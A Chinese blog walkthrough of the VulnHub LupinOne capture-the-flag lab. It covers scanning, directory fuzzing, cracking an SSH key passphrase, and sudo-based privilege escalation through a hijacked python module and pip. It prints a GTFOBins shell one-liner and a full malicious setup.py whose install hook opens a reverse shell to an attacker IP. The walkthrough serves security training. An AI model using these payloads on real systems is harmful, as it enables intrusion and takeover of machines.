VulnHub靶场LupinOne

VulnHub靶场LupinOne,第1张

VulnHub靶场LupinOne VulnHub靶场LupinOne

这个靶场是一个很好的练习环境,整套渗透流程,用来模拟环境非常合适

链接:https://pan.baidu.com/s/1lX79juqZJl4roKakTwWQxQ 
提取码:8rcv

在这里,我把我遇到的问题一起分享给大家

直接解压用虚拟机打开就行,不用自己配置,没有账号密码,需要自己一步步来,对了,这是自动获取IP的,不需要自己配置.

一.信息收集

信息收集是很重要的,举个栗子来说,比如约出自己的女神出来玩,肯定向了解女神的经济情况还有喜好嘛,通过她的微信朋友圈,她身边的好友,淘宝等等,了解一个人,就要从最贴近生活的方向开始,就像"只有千日做贼,那有千日防贼",感觉有点不太贴切,意思是差不多的,用这个只是想表达信息收集的重要性.

1.1寻找目标

在正常情况下,我们并不知道目标IP,在这里可以使用nmap进行扫描,Nmap具体是什么可以百度了解,这里不在多说.

我的kali所用IP:192.168.31.15(后面我的ip会变化,因为这不是再一个地方完成的,但是不影响参考)

nmap探测

命令:nmap 192.168.31.15/24

Nmap是一个很强大的工具,关于它的用法一定要好好掌握,上图中可以看到IP为’192.168.31.251’的就是靶机地址,详细扫描

靶机开发了22和80端口

默认就是访问80端口

检查出现一句话" Its an easy box, dont give up. “意思是"它是一个简单的盒子,不要放弃。”

至于22端口是ssh的,现在没有账号密码也无法使用

到这里,就可以进入下一个模块了

二.Web渗透 2.1目录遍历扫描

对于目录遍历,在一些大企业的网站,都有安全设备,对于目录遍历这样的 *** 作,是会有告警的,最近一直在重保,这样的告警很多很多.

对于目录遍历,工具有很多,比如 御剑,gobuster,DirBuster及wwwscan等,而这些都是工具,在Github都能找到.最主要的还是字典.

在这里我使用gobuster进行目录遍历

我的字典位置

gobuster dir -w big.txt -u http://192.168.31.251


上面扫描的结果出来了,返回值200的时robots.txt文件

试着访问~myfile这个文件夹,好家伙,页面就是404,下面还有一个注释的话“你可以的,继续努力。”

到这里似乎陷入僵局,猜测需要传参数

wfuzz -c -w discovery/predictable-filepaths/filename-dirname-bruteforce/upload_variants.txt -u http://192.168.43.36/~myfiles/?FUZZ=a

没用,继续目录扫描

wfuzz -c -w directory-list-2.3-big.txt -u http://192.168.43.36/~FUZZ |grep -v 404

过滤掉404

目前就出来一个,通过浏览器访问


这段文字包含信息很多,需要仔细阅读

私钥文件一般使用格式:txt、html、pub、cer、pem、der、key等等

这里爆破使用burp2021.21.1,截取数据报,隐藏文件格式就像这样的

设置位置以及字典


这里不得不提中文版的真舒服,第一个位置用这个字典,对了这字典在GitHub都能找到。这里就不多说了

第二个字典自己手动添加就行,文件后缀名,线程60

……我错了,中文版的执行爆破程序报错,英文版的没有问题,我这是第一次用这个版本,唉,bug还是太多了

既然出来了,就没有必要再往下跑了,访问这个文件(后面的我试了,没有其它文件了)

看着这像base64,试着转码一下,很明显,这个不是

这里推荐一个网站 链接: link. https://www.dcode.fr/identification-chiffrement

这个网站可以识别一些加密方式,base58概率最大

可以看到,解码出来的结果就是一个证书

将其保存以下形式

2.2破解私钥爆破密码

之前做的时候,kali自带的python3.x,执行ss2john.py报错,这个是我其他系统配置的python2.7环境,可以正常执行这个脚本

这个就是生成的内容,发送到kali中,使用john爆破密码

还记得上上面有段话吗,这个关键咱们现在用到了

关于john的用法可以百度,可以看它的帮助命令,很简单使用

john creck.txt --fork=4 fork --wordlist=/usr/share/wordlists/fasttrack.txt

密码出来了,P@55w0rd! ,密码出来了,用户名呢?难道是root,怎么可能呢,用户名就是icex64,上面那段文字给的

2.3登录

设置权限为600,私钥文件仅可自己读,但是,我这里登录不上去

可以通过XSHLL

输入后确定,也可修改密码,点击浏览-属性-修改密码,记住密码,登录即可


3mp!r3{I_See_That_You_Manage_To_Get_My_Bunny}

有个flag

三.提权 3.1提权到arsene

关于sudo的命令可以查看它的帮助

sudo -l   #-l, --list 列出用户的权限或检查特定命令;

查看action文件内容,还有一个note.txt,没别的意思 ,就是要执行heist.py

好了,再次查看heist.py这个文件

这里引入webbrowser

查找webbrowser

locate webbrowser


编辑文件添加下面那句话,我这使用vi出问题.所以用的nano

执行id,成功提权到arsene

3.2提权到root_1
https://gtfobins.github.io/  #Linux提权

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF



flag:

3mp!r3{congratulations_you_manage_to_pwn_the_lupin1_box}

结束

3.3提权到root_2

通过反dshell方式连接

通过这种方式,会遇到权限问题,需要再"/home/icex64"目录下创建一个名为“setup.py”的文件,如果你这个时候,权限是arsene的权限,你是无法再这里创建的,需要再icex64权限下创建"setup.py"

vi setup.py #或者是nano setup.py
from setuptools import setup
from setuptools.command.install import install
import os, socket, subprocess

class CustomInstall(install):
  def run(self):
    install.run(self)
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("192.168.10.131",4444)) #此处是kali ip地址
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    p=subprocess.call(["/bin/sh","-i"])

setup(name='FakePip',
      version='0.0.1',
      description='Reverse shell',
      url='xx.xx.xx.xx',
      author='nathan',
      author_email='xx@xx',
      license='MIT',
      zip_safe=False,
      cmdclass={'install': CustomInstall})

如果,你没再icex64下面创建此脚本,

再执行此脚本前,需要再kali中执行监听,会报错

nc -lvvp 4444

再执行

sudo pip install . --upgrade


kali中显示


3mp!r3{congratulations_you_manage_to_pwn_the_lupin1_box}
See you on the next heist.

好了,到这里差不多结束了

也可以再root命令下修改root密码

passwd root


当然了,也可以修改其他用户密码了

四.收获
实践是检验真理的唯一标准

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/5720909.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-18
下一篇 2022-12-18

发表评论

登录后才能评论

评论列表(0条)

保存